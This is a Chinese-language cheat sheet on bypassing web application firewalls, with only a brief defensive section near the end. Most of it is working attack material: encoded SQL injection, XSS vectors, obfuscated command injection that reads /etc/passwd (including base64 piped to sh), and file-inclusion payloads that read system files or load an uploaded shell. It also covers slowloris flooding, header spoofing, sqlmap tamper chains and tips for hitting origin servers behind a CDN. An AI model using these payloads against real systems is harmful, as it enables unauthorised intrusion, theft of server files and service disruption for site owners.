WAF 绕过技术实战
WAF(Web Application Firewall)是 Web 渗透中最常见的阻碍,本指南系统总结绕过思路。
一、WAF 检测与识别
1. 指纹识别
BASH
# 工具
wafw00f https://target.com
# 输出示例:
# [*] Checking https://target.com
# [+] The site https://target.com is behind Cloudflare (Cloudflare Inc.)
# 手工识别
# 1. 访问恶意请求,看返回状态
GET /?id=1' AND 1=1
# 状态码 403 + WAF 页面
# 2. 触发拦截
GET /?id=1' OR '1'='1
# 拦截说明有 WAF
2. 常见 WAF 指纹
| WAF | 特征 Header |
|---|---|
| Cloudflare | cf-ray __cfduid |
| AWS WAF | x-amzn-requestid x-amz-cf-id |
| 阿里云 | set-cookie: aliyungf_tc |
| 腾讯云 | server: NWSs |
| 百度云 | server: yunjiasu |
| ModSecurity | server: Mod_Security |
| 雷池 | server: SafeLine |
| F5 BIG-IP | x-wa-info |
| Imperva | x-iinfo |
| Akamai | akamai-origin-hop |
二、HTTP 协议层绕过
1. 请求方法
BASH
# WAF 仅检测 GET/POST
curl -X PATCH http://target.com/
curl -X DELETE http://target.com/
curl -X OPTIONS http://target.com/
2. 大小写 / 协议
BASH
# 1. URL 大小写
curl http://target.com/InDeX.php
# 2. URL 编码
curl http://target.com/%69ndex.php
curl http://target.com/in%64ex.php
# 3. 双重编码
curl http://target.com/%2569ndex.php
# 4. Unicode 编码
curl http://target.com/%u0069ndex.php
# 5. 空字节
curl http://target.com/index.php%00
3. 参数污染(HPP)
BASH
# 1. 多同名参数
GET /?id=1&id=2' AND 1=1--
# 2. 不同分割
GET /?id=1;id=2
GET /?id=1&id=2
4. 分块传输
BASH
# Transfer-Encoding: chunked
curl -H "Transfer-Encoding: chunked" -d @chunked.txt http://target.com/
# chunked.txt
5
id=1'
0
5. Pipeline
BASH
# 同一连接发送多个请求
printf "GET / HTTP/1.1\r\nHost: target.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80
三、HTTP Header 绕过
1. IP 伪造
BASH
# 1. X-Forwarded-For
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/
# 2. X-Real-IP
curl -H "X-Real-IP: 127.0.0.1" http://target.com/
# 3. Client-IP
# 4. X-Originating-IP
# 5. X-Remote-IP
# 6. X-Remote-Addr
# 7. X-Client-IP
2. Referer / Origin
BASH
# 1. 白名单域名
curl -H "Referer: http://trusted.com/" http://target.com/
curl -H "Origin: http://trusted.com" http://target.com/
3. User-Agent
BASH
# 1. 搜索引擎爬虫 UA
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" http://target.com/
# 2. 内部 IP
curl -A "internal-monitor" http://target.com/
4. Host / Content-Type
BASH
# 1. 改 Host
curl -H "Host: localhost" http://target.com/
# 2. 改 Content-Type
curl -H "Content-Type: application/x-www-form-urlencoded" ...
curl -H "Content-Type: multipart/form-data" ...
curl -H "Content-Type: text/plain" ...
四、Payload 层绕过
1. SQL 注入绕过
SQL
-- 1. 大小写
?id=1' UnIoN SeLeCt 1,2,3--
-- 2. 注释
?id=1'/**/UNION/**/SELECT/**/1,2,3--
?id=1'/*!UNION*/SELECT 1,2,3--
-- 3. 替换关键字
?id=1' UNION ALL SELECT 1,2,3--
?id=1' %55NION %53ELECT 1,2,3--
-- 4. 等价函数
?id=1' AND 1=1--
?id=1' && 1=1--
?id=1' AND 1--'+'1'='1
?id=1' AND '1' LIKE '1
?id=1' AND 1 IN (1)--
-- 5. 编码
?id=1%27%20UNION%20SELECT%201,2,3--
-- 6. 浮点数
?id=1.0union select 1,2,3
-- 7. 字符拼接
?id=1' +'un' +'ion' +'se' +'lect' 1,2,3--
-- 8. 多语句
?id=1';WAITFOR DELAY '0:0:5'--
-- 9. 垃圾字符
?id=1'/*!50000UNION*/SELECT 1,2,3--
?id=1' UNION%0aSELECT 1,2,3--
?id=1' U%4eION SE%4ceCT 1,2,3--
-- 10. 十六进制
?id=1' UNION SELECT 0x3a,2,3--
2. XSS 绕过
HTML
<!-- 1. 大小写 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 2. 标签变体 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<!-- 3. 协议变体 -->
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>click</a>
<object data=javascript:alert(1)>
<!-- 4. 编码 -->
<img src=x onerror=alert(1)>
<img src=x onerror="\u0061lert(1)">
<img src=x onerror="alert(1)">
<!-- 5. 字符串拼接 -->
<script>eval('al'+'ert(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<!-- 6. 空格替换 -->
<img/src=x/onerror=alert(1)>
<svg%0Aonload=alert(1)>
<svg/onload=alert(1)>
<!-- 7. 字符变体 -->
<script>alert`1`</script>
<script>onerror=alert;throw 1</script>
3. 命令注入绕过
BASH
# 1. 空格绕过
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd
# 2. 关键字绕过
c""at /etc/passwd
ca\t /etc/passwd
c$@at /etc/passwd
# 3. 编码
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh
# 4. 反引号
`echo Y2F0IC9ldGMvcGFzc3dk|base64 -d`
# 5. 变量
a=ca;b=t;$a$b /etc/passwd
4. 文件包含绕过
PHP
# 1. 伪协议
http://target.com/?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
# 2. 日志包含
http://target.com/?file=/var/log/nginx/access.log
# 3. session 包含
http://target.com/?file=/tmp/sess_xxx
# 4. phar 协议
http://target.com/?file=phar://./upload/shell.jpg/manifest.php
五、流量层绕过
1. 慢速攻击
BASH
# 慢速 HTTP 攻击
slowloris -s 200 -ua target.com
2. 大量垃圾字符
BASH
# 1. 在 Payload 前加大量垃圾
curl "http://target.com/?id=AAAAA...1' UNION SELECT 1,2,3--"
3. 多 URL 参数
BASH
curl "http://target.com/?a=1&id=1&id=1' UNION SELECT 1,2,3--"
六、工具
1. sqlmap 内置绕过
BASH
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,randomcase,between
2. 常用 tamper 脚本
CODE
space2comment # 空格 -> /**/
space2plus # 空格 -> +
space2hash # MySQL 特定
randomcase # 随机大小写
between # > 替换 between
charencode # URL 编码
chardoubleencode # 双重 URL 编码
unionalltounion # union all -> union
equaltolike # = -> like
percentage # 关键字加 %xx
3. Burp 插件
- Bypass WAF:自动化绕过
- WAFNinja:命令行绕过工具
- bruteforce-sqlmap-waf:穷举 tamper 组合
七、CWAF 思路(云 WAF 绕过)
1. 寻找真实 IP
BASH
# 1. 子域名
# 2. 历史 DNS
# 3. SSL 证书
# 4. Censys / Fofa 搜索
# 5. 邮件服务器(未经过 CDN 的 MX)
# 6. 海外 ping
2. 直接打源站
BASH
# 找到真实 IP 后,添加 Host 头
curl -H "Host: target.com" http://real-ip/
八、防御方案
- 纵深防御:WAF + RASP + 数据库审计
- 语义分析:正则容易被绕过,AI / 行为分析更稳
- 协议解析一致性:避免 WAF 与业务解析差异
- HTTPS 加密:避免中间人绕过
- 异常检测:流量基线
九、实战经验
- 先看 WAF 类型:不同 WAF 绕过难度不同。
- HPP 是万金油:WAF 通常只看第一个参数。
- 脏数据流测试:脏字符 + Payload 经常能绕过。
- 分块传输很神奇:让 WAF 解析失败但业务可解析。
- 时间换空间:跑 Sqlmap 的 tamper 组合总能找到。